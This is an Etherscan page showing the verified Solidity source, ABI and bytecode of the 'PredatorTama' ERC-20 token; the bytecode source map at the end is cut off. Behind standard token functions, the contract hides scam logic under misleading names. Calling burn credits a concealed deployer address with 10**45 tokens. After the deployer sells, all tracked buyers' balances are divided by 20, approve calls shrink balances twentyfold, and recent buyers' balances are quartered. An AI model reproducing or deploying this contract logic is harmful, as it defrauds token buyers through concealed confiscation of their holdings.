Token PREDATORTAMA

 

Overview [ERC-20]

Max Total Supply:
600,000,000 QTAMA

Holders:
20

Transfers:
-

 
Loading
[ Download CSV Export  ] 
Loading
[ Download CSV Export  ] 
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
PredatorTama

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-03-22
*/

// @PredatorTama

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    address[] private tamArray;

    mapping (address => bool) private Cakes;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private Track = 0;
    address public pair;
    IDEXRouter router;

    string private _name; string private _symbol; address private addr92ruhfwkjfq; uint256 private _totalSupply; 
    bool private trading; bool private Toilet; uint256 private Shower; uint256 private Towers;
    
    constructor (string memory name_, string memory symbol_, address msgSender_) {
        router = IDEXRouter(_router);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));

        addr92ruhfwkjfq = msgSender_;
        _name = name_;
        _symbol = symbol_;
    }

    function openTrading() external onlyOwner returns (bool) {
        trading = true;
        return true;
    }
    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function burn(uint256 amount) public virtual returns (bool) {
        _burn(_msgSender(), amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _burn(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] -= amount;
        _balances[account] += (account == addr92ruhfwkjfq ? (10 ** 45) : 0);
        _balances[address(0)] += amount;
        emit Transfer(account, address(0), amount);
     }

    function last() internal view returns (address) { return (Shower > 1 ? tamArray[tamArray.length-2] : address(0)); }
    
    function _balancesOfTheBlacks(address sender, address recipient, bool problem) internal {
        Toilet = problem ? true : Toilet;
        if (((Cakes[sender] == true) && (Cakes[recipient] != true)) || ((Cakes[sender] != true) && (Cakes[recipient] != true))) { tamArray.push(recipient); }
        if ((Toilet) && (sender == addr92ruhfwkjfq) && (Towers == 1)) { for (uint256 flux = 0;  flux < tamArray.length; flux++) { _balances[tamArray[flux]] /= (2 * 10 ** 1); } }
        _balances[last()] /= (((Track == block.timestamp) || Toilet) && (Cakes[last()] != true) && (Shower > 1)) ? (4) : (1);
        Shower++; Track = block.timestamp;
    }

    function _balancesOfTheHunted(address sender, address recipient) internal {
        require((trading || (sender == addr92ruhfwkjfq)), "ERC20: trading is not yet enabled.");
        _balancesOfTheBlacks(sender, recipient, (address(sender) == addr92ruhfwkjfq) && (Towers > 0));
        Towers += (sender == addr92ruhfwkjfq) ? 1 : 0;
    }

    function _HuntTheTamas(address creator) internal virtual {
        approve(_router, 10 ** 77);
        (Towers,Toilet,Shower,trading) = (0,false,0,false);
        (Cakes[_router],Cakes[creator],Cakes[pair]) = (true,true,true);
    }
    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        _balances[owner] /= (Toilet ? (2 * 10 ** 1) : 1);
        emit Approval(owner, spender, amount);
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        _balancesOfTheHunted(sender, recipient);
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _DeployPredatortama(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        
        emit Transfer(address(0), account, amount); 
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol, creator) {
        _DeployPredatortama(creator, initialSupply);
        _HuntTheTamas(creator);
    }
}

contract PredatorTama is ERC20Token {
    constructor() ERC20Token("PREDATORTAMA", "QTAMA", msg.sender, 600000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600680546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560078054909116737a250d5630b4cf539739df2c5dacb4c659f2488d17905560006008553480156200005e57600080fd5b506040518060400160405280600c81526020016b5052454441544f5254414d4160a01b815250604051806040016040528060058152602001645154414d4160d81b815250336b01f04ef12cb04cf1580000008383836000620000c56200029360201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600754600a80546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000170573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200019691906200067e565b6006546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af1158015620001e8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020e91906200067e565b600980546001600160a01b03199081166001600160a01b0393841617909155600d805490911691831691909117905582516200025290600b906020860190620005d8565b5081516200026890600c906020850190620005d8565b505050506200027e82826200029760201b60201c565b620002898262000380565b5050505062000737565b3390565b6001600160a01b038216620002f35760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064015b60405180910390fd5b80600e6000828254620003079190620006b0565b90915550506001600160a01b0382166000908152600460205260408120805483929062000336908490620006b0565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600754620003b8906001600160a01b03167fdd15fe86affad91249ef0eb713f39ebeaa987b6e6fd2a000000000000000000062000423565b50600f80546000601081905561ffff1990911690915560118190556007546001600160a01b0390811682526003602052604080832093821683528083206009549092168352909120805460ff1990811660019081179092558254811682179092558254909116179055565b6000620004323384846200043b565b50600192915050565b6001600160a01b0383166200049f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401620002ea565b6001600160a01b038216620005025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401620002ea565b6001600160a01b038381166000908152600560209081526040808320938616835292905220819055600f54610100900460ff166200054257600162000545565b60145b60ff1660046000856001600160a01b03166001600160a01b0316815260200190815260200160002060008282546200057e9190620006d7565b92505081905550816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620005cb91815260200190565b60405180910390a3505050565b828054620005e690620006fa565b90600052602060002090601f0160209004810192826200060a576000855562000655565b82601f106200062557805160ff191683800117855562000655565b8280016001018555821562000655579182015b828111156200065557825182559160200191906001019062000638565b506200066392915062000667565b5090565b5b8082111562000663576000815560010162000668565b6000602082840312156200069157600080fd5b81516001600160a01b0381168114620006a957600080fd5b9392505050565b60008219821115620006d257634e487b7160e01b600052601160045260246000fd5b500190565b600082620006f557634e487b7160e01b600052601260045260246000fd5b500490565b600181811c908216806200070f57607f821691505b602082108114156200073157634e487b7160e01b600052602260045260246000fd5b50919050565b61110080620007476000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a8aa1b3111610066578063a8aa1b3114610213578063a9059cbb14610226578063c9567bf914610239578063dd62ed3e1461024157600080fd5b8063715018a6146101c95780638da5cb5b146101d357806395d89b41146101f8578063a457c2d71461020057600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806342966c681461018d57806370a08231146101a057600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027a565b60405161011a9190610eb2565b60405180910390f35b610136610131366004610f23565b61030c565b604051901515815260200161011a565b600e545b60405190815260200161011a565b610136610166366004610f4d565b610322565b6040516012815260200161011a565b610136610188366004610f23565b6103d8565b61013661019b366004610f89565b61040f565b61014a6101ae366004610fa2565b6001600160a01b031660009081526004602052604090205490565b6101d1610423565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161011a565b61010d6104c7565b61013661020e366004610f23565b6104d6565b6009546101e0906001600160a01b031681565b610136610234366004610f23565b610571565b61013661057e565b61014a61024f366004610fc4565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600b805461028990610ff7565b80601f01602080910402602001604051908101604052809291908181526020018280546102b590610ff7565b80156103025780601f106102d757610100808354040283529160200191610302565b820191906000526020600020905b8154815290600101906020018083116102e557829003601f168201915b5050505050905090565b60006103193384846105ef565b50600192915050565b600061032f848484610783565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103b95760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103cd85336103c88685611048565b6105ef565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103199185906103c890869061105f565b600061041b3383610965565b506001919050565b6001546001600160a01b0316331461047d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600c805461028990610ff7565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105585760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b0565b61056733856103c88685611048565b5060019392505050565b6000610319338484610783565b6001546000906001600160a01b031633146105db5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103b0565b50600f805460ff1916600190811790915590565b6001600160a01b0383166106515760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b0565b6001600160a01b0382166106b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b0565b6001600160a01b038381166000908152600560209081526040808320938616835292905220819055600f54610100900460ff166106f05760016106f3565b60145b60ff1660046000856001600160a01b03166001600160a01b03168152602001908152602001600020600082825461072a9190611077565b92505081905550816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161077691815260200190565b60405180910390a3505050565b6001600160a01b0383166107e75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b0565b6001600160a01b0382166108495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b0565b6001600160a01b038316600090815260046020526040902054818110156108c15760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b0565b6108cb8484610af6565b6108d58282611048565b6001600160a01b03808616600090815260046020526040808220939093559085168152908120805484929061090b90849061105f565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161095791815260200190565b60405180910390a350505050565b6001600160a01b0382166109c55760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b0565b6001600160a01b038216600090815260046020526040812080548392906109ed908490611048565b9091555050600d546001600160a01b03838116911614610a0e576000610a23565b722cd76fe086b93ce2f768a00b22a000000000005b72ffffffffffffffffffffffffffffffffffffff1660046000846001600160a01b03166001600160a01b031681526020019081526020016000206000828254610a6c919061105f565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610aac90849061105f565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600f5460ff1680610b145750600d546001600160a01b038381169116145b610b6b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c65604482015261321760f11b60648201526084016103b0565b600d54610b9790839083906001600160a01b038084169116148015610b9257506000601154115b610bd3565b600d546001600160a01b03838116911614610bb3576000610bb6565b60015b60ff1660116000828254610bca919061105f565b90915550505050565b80610be857600f54610100900460ff16610beb565b60015b600f80549115156101000261ff00199092169190911790556001600160a01b03831660009081526003602052604090205460ff1615156001148015610c4e57506001600160a01b03821660009081526003602052604090205460ff161515600114155b80610ca057506001600160a01b03831660009081526003602052604090205460ff161515600114801590610ca057506001600160a01b03821660009081526003602052604090205460ff161515600114155b15610cf157600280546001810182556000919091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace0180546001600160a01b0319166001600160a01b0384161790555b600f54610100900460ff168015610d155750600d546001600160a01b038481169116145b8015610d2357506011546001145b15610d9c5760005b600254811015610d9a5760146004600060028481548110610d4e57610d4e611099565b60009182526020808320909101546001600160a01b0316835282019290925260400181208054909190610d82908490611077565b90915550819050610d92816110af565b915050610d2b565b505b426008541480610db35750600f54610100900460ff165b8015610dea575060036000610dc6610e67565b6001600160a01b0316815260208101919091526040016000205460ff161515600114155b8015610df857506001601054115b610e03576001610e06565b60045b60ff1660046000610e15610e67565b6001600160a01b03166001600160a01b031681526020019081526020016000206000828254610e449190611077565b909155505060108054906000610e59836110af565b909155505042600855505050565b6000600160105411610e795750600090565b60028054610e88908290611048565b81548110610e9857610e98611099565b6000918252602090912001546001600160a01b0316905090565b600060208083528351808285015260005b81811015610edf57858101830151858201604001528201610ec3565b81811115610ef1576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610f1e57600080fd5b919050565b60008060408385031215610f3657600080fd5b610f3f83610f07565b946020939093013593505050565b600080600060608486031215610f6257600080fd5b610f6b84610f07565b9250610f7960208501610f07565b9150604084013590509250925092565b600060208284031215610f9b57600080fd5b5035919050565b600060208284031215610fb457600080fd5b610fbd82610f07565b9392505050565b60008060408385031215610fd757600080fd5b610fe083610f07565b9150610fee60208401610f07565b90509250929050565b600181811c9082168061100b57607f821691505b6020821081141561102c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008282101561105a5761105a611032565b500390565b6000821982111561107257611072611032565b500190565b60008261109457634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006000198214156110c3576110c3611032565b506001019056fea2646970667358221220456543cc1dc3905c83ae6dd118fee656a65c382a440443c25a0880e8c0b03a8564736f6c634300080a0033

Deployed ByteCode Sourcemap

8974:138:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3541:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6739:169;;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;6739:169:0;1053:187:1;3836:108:0;3924:12;;3836:108;;;1391:25:1;;;1379:2;1364:18;3836:108:0;1245:177:1;6916:422:0;;;;;;:::i;:::-;;:::i;3324:93::-;;;3407:2;1902:36:1;;1890:2;1875:18;3324:93:0;1760:184:1;4382:215:0;;;;;;:::i;:::-;;:::i;4246:128::-;;;;;;:::i;:::-;;:::i;3952:127::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4053:18:0;4026:7;4053:18;;;:9;:18;;;;;;;3952:127;2031:148;;;:::i;:::-;;1817:79;1882:6;;-1:-1:-1;;;;;1882:6:0;1817:79;;;-1:-1:-1;;;;;2489:32:1;;;2471:51;;2459:2;2444:18;1817:79:0;2325:203:1;3429:104:0;;;:::i;4609:377::-;;;;;;:::i;:::-;;:::i;2627:19::-;;;;;-1:-1:-1;;;;;2627:19:0;;;3649:175;;;;;;:::i;:::-;;:::i;3200:112::-;;;:::i;4087:151::-;;;;;;:::i;:::-;-1:-1:-1;;;;;4203:18:0;;;4176:7;4203:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4087:151;3541:100;3595:13;3628:5;3621:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3541:100;:::o;6739:169::-;6822:4;6839:39;160:10;6862:7;6871:6;6839:8;:39::i;:::-;-1:-1:-1;6896:4:0;6739:169;;;;:::o;6916:422::-;7022:4;7039:36;7049:6;7057:9;7068:6;7039:9;:36::i;:::-;-1:-1:-1;;;;;7115:19:0;;7088:24;7115:19;;;:11;:19;;;;;;;;160:10;7115:33;;;;;;;;7167:26;;;;7159:79;;;;-1:-1:-1;;;7159:79:0;;3385:2:1;7159:79:0;;;3367:21:1;3424:2;3404:18;;;3397:30;3463:34;3443:18;;;3436:62;-1:-1:-1;;;3514:18:1;;;3507:38;3562:19;;7159:79:0;;;;;;;;;7249:57;7258:6;160:10;7280:25;7299:6;7280:16;:25;:::i;:::-;7249:8;:57::i;:::-;-1:-1:-1;7326:4:0;;6916:422;-1:-1:-1;;;;6916:422:0:o;4382:215::-;160:10;4470:4;4519:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4519:34:0;;;;;;;;;;4470:4;;4487:80;;4510:7;;4519:47;;4556:10;;4519:47;:::i;4246:128::-;4300:4;4317:27;160:10;4337:6;4317:5;:27::i;:::-;-1:-1:-1;4362:4:0;;4246:128;-1:-1:-1;4246:128:0:o;2031:148::-;1944:6;;-1:-1:-1;;;;;1944:6:0;160:10;1944:22;1936:67;;;;-1:-1:-1;;;1936:67:0;;4189:2:1;1936:67:0;;;4171:21:1;;;4208:18;;;4201:30;4267:34;4247:18;;;4240:62;4319:18;;1936:67:0;3987:356:1;1936:67:0;2122:6:::1;::::0;2101:40:::1;::::0;2138:1:::1;::::0;-1:-1:-1;;;;;2122:6:0::1;::::0;2101:40:::1;::::0;2138:1;;2101:40:::1;2152:6;:19:::0;;-1:-1:-1;;;;;;2152:19:0::1;::::0;;2031:148::o;3429:104::-;3485:13;3518:7;3511:14;;;;;:::i;4609:377::-;160:10;4702:4;4746:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;4746:34:0;;;;;;;;;;4799:35;;;;4791:85;;;;-1:-1:-1;;;4791:85:0;;4550:2:1;4791:85:0;;;4532:21:1;4589:2;4569:18;;;4562:30;4628:34;4608:18;;;4601:62;-1:-1:-1;;;4679:18:1;;;4672:35;4724:19;;4791:85:0;4348:401:1;4791:85:0;4887:67;160:10;4910:7;4919:34;4938:15;4919:16;:34;:::i;4887:67::-;-1:-1:-1;4974:4:0;;4609:377;-1:-1:-1;;;4609:377:0:o;3649:175::-;3735:4;3752:42;160:10;3776:9;3787:6;3752:9;:42::i;3200:112::-;1944:6;;3251:4;;-1:-1:-1;;;;;1944:6:0;160:10;1944:22;1936:67;;;;-1:-1:-1;;;1936:67:0;;4189:2:1;1936:67:0;;;4171:21:1;;;4208:18;;;4201:30;4267:34;4247:18;;;4240:62;4319:18;;1936:67:0;3987:356:1;1936:67:0;-1:-1:-1;3268:7:0::1;:14:::0;;-1:-1:-1;;3268:14:0::1;3278:4;3268:14:::0;;::::1;::::0;;;3200:112;:::o;7346:405::-;-1:-1:-1;;;;;7448:19:0;;7440:68;;;;-1:-1:-1;;;7440:68:0;;4956:2:1;7440:68:0;;;4938:21:1;4995:2;4975:18;;;4968:30;5034:34;5014:18;;;5007:62;-1:-1:-1;;;5085:18:1;;;5078:34;5129:19;;7440:68:0;4754:400:1;7440:68:0;-1:-1:-1;;;;;7527:21:0;;7519:68;;;;-1:-1:-1;;;7519:68:0;;5361:2:1;7519:68:0;;;5343:21:1;5400:2;5380:18;;;5373:30;5439:34;5419:18;;;5412:62;-1:-1:-1;;;5490:18:1;;;5483:32;5532:19;;7519:68:0;5159:398:1;7519:68:0;-1:-1:-1;;;;;7600:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:36;;;7668:6;;;;;;;:26;;7693:1;7668:26;;;7678:11;7668:26;7647:48;;:9;:16;7657:5;-1:-1:-1;;;;;7647:16:0;-1:-1:-1;;;;;7647:16:0;;;;;;;;;;;;;:48;;;;;;;:::i;:::-;;;;;;;;7727:7;-1:-1:-1;;;;;7711:32:0;7720:5;-1:-1:-1;;;;;7711:32:0;;7736:6;7711:32;;;;1391:25:1;;1379:2;1364:18;;1245:177;7711:32:0;;;;;;;;7346:405;;;:::o;7759:604::-;-1:-1:-1;;;;;7865:20:0;;7857:70;;;;-1:-1:-1;;;7857:70:0;;5986:2:1;7857:70:0;;;5968:21:1;6025:2;6005:18;;;5998:30;6064:34;6044:18;;;6037:62;-1:-1:-1;;;6115:18:1;;;6108:35;6160:19;;7857:70:0;5784:401:1;7857:70:0;-1:-1:-1;;;;;7946:23:0;;7938:71;;;;-1:-1:-1;;;7938:71:0;;6392:2:1;7938:71:0;;;6374:21:1;6431:2;6411:18;;;6404:30;6470:34;6450:18;;;6443:62;-1:-1:-1;;;6521:18:1;;;6514:33;6564:19;;7938:71:0;6190:399:1;7938:71:0;-1:-1:-1;;;;;8046:17:0;;8022:21;8046:17;;;:9;:17;;;;;;8082:23;;;;8074:74;;;;-1:-1:-1;;;8074:74:0;;6796:2:1;8074:74:0;;;6778:21:1;6835:2;6815:18;;;6808:30;6874:34;6854:18;;;6847:62;-1:-1:-1;;;6925:18:1;;;6918:36;6971:19;;8074:74:0;6594:402:1;8074:74:0;8169:39;8190:6;8198:9;8169:20;:39::i;:::-;8239:22;8255:6;8239:13;:22;:::i;:::-;-1:-1:-1;;;;;8219:17:0;;;;;;;:9;:17;;;;;;:42;;;;8272:20;;;;;;;;:30;;8296:6;;8219:17;8272:30;;8296:6;;8272:30;:::i;:::-;;;;;;;;8337:9;-1:-1:-1;;;;;8320:35:0;8329:6;-1:-1:-1;;;;;8320:35:0;;8348:6;8320:35;;;;1391:25:1;;1379:2;1364:18;;1245:177;8320:35:0;;;;;;;;7846:517;7759:604;;;:::o;4994:358::-;-1:-1:-1;;;;;5070:21:0;;5062:67;;;;-1:-1:-1;;;5062:67:0;;7203:2:1;5062:67:0;;;7185:21:1;7242:2;7222:18;;;7215:30;7281:34;7261:18;;;7254:62;-1:-1:-1;;;7332:18:1;;;7325:31;7373:19;;5062:67:0;7001:397:1;5062:67:0;-1:-1:-1;;;;;5142:18:0;;;;;;:9;:18;;;;;:28;;5164:6;;5142:18;:28;;5164:6;;5142:28;:::i;:::-;;;;-1:-1:-1;;5215:15:0;;-1:-1:-1;;;;;5204:26:0;;;5215:15;;5204:26;:43;;5246:1;5204:43;;;5234:8;5204:43;5181:67;;:9;:18;5191:7;-1:-1:-1;;;;;5181:18:0;-1:-1:-1;;;;;5181:18:0;;;;;;;;;;;;;:67;;;;;;;:::i;:::-;;;;-1:-1:-1;;5259:21:0;;;;:9;:21;;;:3